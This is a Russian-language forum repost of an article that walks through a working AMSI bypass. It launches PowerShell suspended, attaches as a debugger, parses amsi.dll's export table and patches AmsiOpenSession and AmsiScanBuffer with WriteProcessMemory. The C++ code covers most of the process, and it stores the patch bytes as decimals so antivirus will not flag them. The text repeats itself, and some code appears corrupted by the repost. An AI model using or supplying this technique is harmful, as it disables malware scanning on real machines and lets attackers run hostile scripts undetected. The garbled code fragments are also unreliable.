stihl не предоставил(а) никакой дополнительной информации.
Antimalware Scan Interface — система, которую в Microsoft создали для защиты от вредоносных сценариев на PowerShell. В этой статье я продемонстрирую, как работает один из методов обхода этого механизма. Мы будем запускать сценарий PowerShell как процесс под отладкой, что откроет некоторые интересные возможности.
На высоком уровне AMSI хукает каждую команду или сценарий во время выполнения и передает их локальному антивирусному ПО для проверки. Причем поддерживаются практически любые антивирусы, это может быть не только стандартный Defender.
AMSI умеет работать:
К сожалению, абы какой процесс отлаживать не получится. Успешный вызов этой функции получится, только если выполняется хотя бы одно из следующих условий:
Что же нам даст статус дебаггера? Единственное преимущество — возможность обрабатывать Debug-события, среди которых LOAD_DLL_DEBUG_EVENT. Событие генерируется сразу же, как только идет попытка загрузки DLL в адресное пространство отлаживаемого процесса. Причем будет заполнена структура LOAD_DLL_DEBUG_INFO, содержащая базовый адрес подгружаемой библиотеки. А с базовым адресом уже можно наворотить немало дел...
Предлагаю перейти к практике. Во‑первых, мы не можем слепо взять и запустить процесс, а потом непонятно когда прицепиться к нему отладчиком — так есть шанс пропустить момент загрузки amsi.dll в процесс. Поэтому процесс должен быть запущен с флагом CREATE_SUSPENDED. Во‑вторых, из‑за того, что мы никак не обрабатываем Debug-события, приложение может упасть. Поэтому после того, как пропатчим AMSI, следует как можно скорее переставать быть дебаггером.
Для создания процесса я написал отдельную функцию StartProcessSuspended().
Здесь дополнительно указан флаг CREATE_NEW_CONSOLE. Он нужен, чтобы powershell.exe запускалась как новая консоль. Как будто мы ее запустили вручную, дважды кликнув на исполняемый файл. Функция возвращает PID созданного процесса, а также инициализирует хендлы, указывающие на главный поток процесса и на сам процесс.
После создания процесса мы должны прицепиться к нему в качестве отладчика. Делаем это при помощи функции DebugActiveProcess().
Этой функции требуется только PID, PID возвращается из StartProcessSuspended(). Теперь можем смело возобновлять основной поток процесса, не боясь пропустить загрузку amsi.dll. После возобновления потока процесса сразу же вызываем WaitForDebugEvent() и начинаем обрабатывать отладочные события.
Функция WaitForDebugEvent() служит для обработки всех отладочных событий и имеет простой прототип.
Теперь нужно убедиться в том, что подгрузилась действительно amsi.dll (другие библиотеки нас не интересуют). Для получения имени библиотеки по ее хендлу (хендл будет лежать в lpDebugEvent.u.LoadDll.hFile) выполняется функция GetFinalPathNameByHandleA(). Она вернет в свой второй параметр полный путь DLL, который мы будем сравнивать с оригинальным местоположением amsi.dll.
Наконец, приступаем к патчингу библиотеки. Сначала сохраняем базовый адрес загрузки (его можно получить из lpDebugEvent.u.LoadDll.lpBaseOfDll) в отдельную переменную. Следующим шагом нам нужно получить адреса функций AmsiOpenSession() и AmsiScanBuffer(). Их‑то мы и будем патчить. Есть два варианта:
Здесь идет стандартный парсинг EAT, просто библиотеки другого процесса. После получения адреса переходим к патчу. Я рекомендую использовать патч Для просмотра ссылки Войдиили Зарегистрируйся. Проблема лишь в том, что его патч уже известен и на последовательность 0x48, 0x31, 0xC0 могут ругаться антивирусы. Поэтому предлагаю сохранить патч в виде последовательности десятичных чисел и конвертировать шестнадцатеричные на лету.
Сам патч применить несложно — достаточно воспользоваться функцией WriteProcessMemory(), которой передадим хендл процесса powershell.exe и адрес функции, которую нужно пропатчить. В данном случае — AmsiOpenSession().
Точно таким же образом патчим AmsiScanBuffer().
Затем нужно как можно скорее перестать быть отладчиком. Для этого ставим метку на функцию DebugActiveProcessStop().
Полный код проекта доступен на Для просмотра ссылки Войдиили Зарегистрируйся. Достаточно лишь запустить исполняемый файл, а он приведет к тому, что у нас появится окно powershell.exe, уже с пропатченным AMSI!
Успешный патч
Для просмотра ссылки Войдиили Зарегистрируйся
В таком случае часть с вызовом функции DebugActiveProcess() можно закомментировать — она больше не нужна.
Работающий патч
На высоком уровне AMSI хукает каждую команду или сценарий во время выполнения и передает их локальному антивирусному ПО для проверки. Причем поддерживаются практически любые антивирусы, это может быть не только стандартный Defender.
AMSI умеет работать:
- с PowerShell;
- Windows Script Host (wscript и cscript);
- JavaScript и VBScript;
- VBA-макросами.
Становимся дебаггером
Недавно я обнаружил интересную API-функцию DebugActiveProcess(), которая позволяет нашему процессу стать дебаггером для другого процесса. Прототип у нее очень простой, ей нужно передать лишь PID процесса, который требуется отлаживать.
Код:
BOOL DebugActiveProcess(
[in] DWORD dwProcessId
);
К сожалению, абы какой процесс отлаживать не получится. Успешный вызов этой функции получится, только если выполняется хотя бы одно из следующих условий:
- у токена нашего процесса есть SeDebugPrivilege;
- мы можем запросить хендл на отлаживаемый процесс с маской PROCESS_ALL_ACCESS.
Что же нам даст статус дебаггера? Единственное преимущество — возможность обрабатывать Debug-события, среди которых LOAD_DLL_DEBUG_EVENT. Событие генерируется сразу же, как только идет попытка загрузки DLL в адресное пространство отлаживаемого процесса. Причем будет заполнена структура LOAD_DLL_DEBUG_INFO, содержащая базовый адрес подгружаемой библиотеки. А с базовым адресом уже можно наворотить немало дел...
Предлагаю перейти к практике. Во‑первых, мы не можем слепо взять и запустить процесс, а потом непонятно когда прицепиться к нему отладчиком — так есть шанс пропустить момент загрузки amsi.dll в процесс. Поэтому процесс должен быть запущен с флагом CREATE_SUSPENDED. Во‑вторых, из‑за того, что мы никак не обрабатываем Debug-события, приложение может упасть. Поэтому после того, как пропатчим AMSI, следует как можно скорее переставать быть дебаггером.
Для создания процесса я написал отдельную функцию StartProcessSuspended().
Код:
DWORD StartProcessSuspended(LPWSTR ProcName, HANDLE& hThread, HANDLE& hProc) {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOWNORMAL;
if (!CreateProcess(ProcName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
DWORD err = GetLastError();
std::cout << h("[-] Cant Create Suspended Process : ") << err << " " << GetWinapiErrorDescription(err) << std::endl;
return -1;
}
hThread = pi.hThread;
hProc = pi.hProcess;
#ifdef DEBUG
std::cout << h("[+] Process Created Successfully") << std::endl;
#endif
return pi.dwProcessId;
}
Здесь дополнительно указан флаг CREATE_NEW_CONSOLE. Он нужен, чтобы powershell.exe запускалась как новая консоль. Как будто мы ее запустили вручную, дважды кликнув на исполняемый файл. Функция возвращает PID созданного процесса, а также инициализирует хендлы, указывающие на главный поток процесса и на сам процесс.
После создания процесса мы должны прицепиться к нему в качестве отладчика. Делаем это при помощи функции DebugActiveProcess().
Код:
if (!DebugActiveProcess(pid))
{
DWORD err = GetLastError();
std::cerr << h("[-] Failed to attach to process: ") << err << " " << GetWinapiErrorDescription(err) << std::endl;
return 1;
}
Этой функции требуется только PID, PID возвращается из StartProcessSuspended(). Теперь можем смело возобновлять основной поток процесса, не боясь пропустить загрузку amsi.dll. После возобновления потока процесса сразу же вызываем WaitForDebugEvent() и начинаем обрабатывать отладочные события.
Функция WaitForDebugEvent() служит для обработки всех отладочных событий и имеет простой прототип.
Код:
BOOL WaitForDebugEvent(
[out] LPDEBUG_EVENT lpDebugEvent,
[in] DWORD dwMilliseconds
);
- lpDebugEvent — экземпляр специальной структуры, которая будет содержать информацию об отладочном событии;
- dwMilliseconds — время, в течение которого ожидать отладочное событие. Ставим INFINITE, чтобы ждать бесконечно.
Код:
while (WaitForDebugEvent(&debugEvent, INFINITE))
{
switch (debugEvent.dwDebugEventCode) {
case LOAD_DLL_DEBUG_EVENT:
...
break;
case EXIT_PROCESS_DEBUG_EVENT:
...
break;
}
ContinueDebugEvent(debugEvent.dwProcessId, debugEvent.dwThreadId, DBG_CONTINUE);
}
Теперь нужно убедиться в том, что подгрузилась действительно amsi.dll (другие библиотеки нас не интересуют). Для получения имени библиотеки по ее хендлу (хендл будет лежать в lpDebugEvent.u.LoadDll.hFile) выполняется функция GetFinalPathNameByHandleA(). Она вернет в свой второй параметр полный путь DLL, который мы будем сравнивать с оригинальным местоположением amsi.dll.
Код:
case LOAD_DLL_DEBUG_EVENT:
char szName[MAX_PATH];
if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile, szName, MAX_PATH, VOLUME_NAME_DOS))
{
if (strcmp(szName, h("\\\\?\\C:\\Windows\\System32\\amsi.dll")) == 0) {
// Подгрузился AMSI
}
}
Наконец, приступаем к патчингу библиотеки. Сначала сохраняем базовый адрес загрузки (его можно получить из lpDebugEvent.u.LoadDll.lpBaseOfDll) в отдельную переменную. Следующим шагом нам нужно получить адреса функций AmsiOpenSession() и AmsiScanBuffer(). Их‑то мы и будем патчить. Есть два варианта:
- простой способ. Грузим в адресное пространство собственного процесса библиотеку amsi.dll и через GetProcAddress() получаем адреса нужных функций. Из‑за особенностей DLL эти функции будут расположены по тем же адресам в процессе powershell.exe;
- сложный способ. Ничего не грузим в собственный процесс, а парсим EAT подгружаемой в текущий момент в процесс PowerShell библиотеки amsi.
Код:
FARPROC GetFunctionAddressFromEAT(HANDLE hProcess, LPVOID baseAddress, const std::string& functionName)
{
DWORD err;
IMAGE_DOS_HEADER dosHeader;
if (!ReadProcessMemory(hProcess, baseAddress, &dosHeader, sizeof(dosHeader), nullptr))
{
err = GetLastError();
std::cout << h("[-] Failed to read IMAGE_DOS_HEADER: ") << err << h(" ") << GetWinapiErrorDescription(err) << std::endl;
return nullptr;
}
IMAGE_NT_HEADERS ntHeader;
if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + dosHeader.e_lfanew, &ntHeader, sizeof(ntHeader), nullptr))
{
err = GetLastError();
std::cout << h("[-] Failed to read IMAGE_NT_HEADERS") << err << h(" ") << GetWinapiErrorDescription(err) << std::endl;
return nullptr;
}
IMAGE_EXPORT_DIRECTORY exportDirectory;
if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) +
ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
&exportDirectory, sizeof(exportDirectory), nullptr))
{
err = GetLastError();
std::cout << h("[-] Failed to read IMAGE_EXPORT_DIRECTORY") << err << h(" ") << GetWinapiErrorDescription(err) << std::endl;
return nullptr;
}
DWORD* functionAddresses = new DWORD[exportDirectory.NumberOfFunctions];
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + exportDirectory.AddressOfFunctions,
functionAddresses, sizeof(DWORD) * exportDirectory.NumberOfFunctions, nullptr);
DWORD* functionNames = new DWORD[exportDirectory.NumberOfNames];
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + exportDirectory.AddressOfNames,
functionNames, sizeof(DWORD) * exportDirectory.NumberOfNames, nullptr);
WORD* functionNameOrdinals = new WORD[exportDirectory.NumberOfNames];
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + exportDirectory.AddressOfNameOrdinals,
functionNameOrdinals, sizeof(WORD) * exportDirectory.NumberOfNames, nullptr);
FARPROC functionAddress = nullptr;
for (DWORD i = 0; i < exportDirectory.NumberOfNames; ++i)
{
char name[256] = { 0 };
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + functionNames, name, sizeof(name), nullptr);
if (functionName == name)
{
DWORD functionOrdinal = functionNameOrdinals;
DWORD functionRelativeVirtualAddress = functionAddresses[functionOrdinal];
functionAddress = reinterpret_cast<FARPROC>(reinterpret_cast<std::uint8_t*>(baseAddress) + functionRelativeVirtualAddress);
break;
}
}
delete[] functionAddresses;
delete[] functionNames;
delete[] functionNameOrdinals;
return functionAddress;
}
PVOID addr = GetFunctionAddressFromEAT(hProc, amsiBase, h("AmsiOpenSession"));
Здесь идет стандартный парсинг EAT, просто библиотеки другого процесса. После получения адреса переходим к патчу. Я рекомендую использовать патч Для просмотра ссылки Войди
Код:
int values[3] = { 72, 49, 192 };
char patch[3];
std:stringstream oss;
for (int i = 0; i < 3; i++) {
oss << std::hex << std::setw(2) << std::setfill('0') << values;
std::string hexValue = oss.str();
patch = std::stoi(hexValue, nullptr, 16);
oss.str("");
}
Сам патч применить несложно — достаточно воспользоваться функцией WriteProcessMemory(), которой передадим хендл процесса powershell.exe и адрес функции, которую нужно пропатчить. В данном случае — AmsiOpenSession().
Код:
WriteProcessMemory(hProc, addr, (PVOID)patch, 3, nullptr);
DWORD err1 = GetLastError();
if (err1 != 0) {
std::cout << h("[-] Error patching AmsiOpenSession: ") << err1 << h(" ") << GetWinapiErrorDescription(err1) << std::endl;
}
Точно таким же образом патчим AmsiScanBuffer().
Код:
PVOID addr2 = GetFunctionAddressFromEAT(hProc, amsiBase, h("AmsiScanBuffer"));
int values2[6] = { 184, 87,0,7,128,195 };
char patch2[6];
std:stringstream oss2;
for (int i = 0; i < 6; i++) {
oss2 << std::hex << std::setw(2) << std::setfill('0') << values2;
std::string hexValue2 = oss2.str();
patch2 = std::stoi(hexValue2, nullptr, 16);
oss2.str("");
}
WriteProcessMemory(hProc, addr2, (PVOID)patch2, 6, nullptr);
err1 = GetLastError();
if (err1 != 0) {
std::cout << h("[-] Error patching AmsiScanBuffer: ") << err1 << h(" ") << GetWinapiErrorDescription(err1) << std::endl;
}
std::cout << h("[+] Patching Complete") << std::endl;
goto me;
Затем нужно как можно скорее перестать быть отладчиком. Для этого ставим метку на функцию DebugActiveProcessStop().
Код:
me:
if (!DebugActiveProcessStop(pid))
{
DWORD ll = GetLastError();
std::cerr << h("[-] Failed to detach from process: ") << ll << h(" ") << GetWinapiErrorDescription(ll) << std::endl;
return -1;
}
Полный код проекта доступен на Для просмотра ссылки Войди

Избегаем использования функции DebugActiveProcess
Функция DebugActiveProcess(), конечно, хороша, но хотелось бы избежать и ее использования. В нашем случае это возможно: я нашел еще один интересный флаг, который можно указать при запуске дочернего процесса. С этим флагом мы автоматически становимся отладчиком для дочернего процесса, что позволяет обрабатывать все отладочные события. Для этого достаточно лишь указать в функции CreateProcess() значение DEBUG_ONLY_THIS_PROCESS.Для просмотра ссылки Войди
В таком случае часть с вызовом функции DebugActiveProcess() можно закомментировать — она больше не нужна.
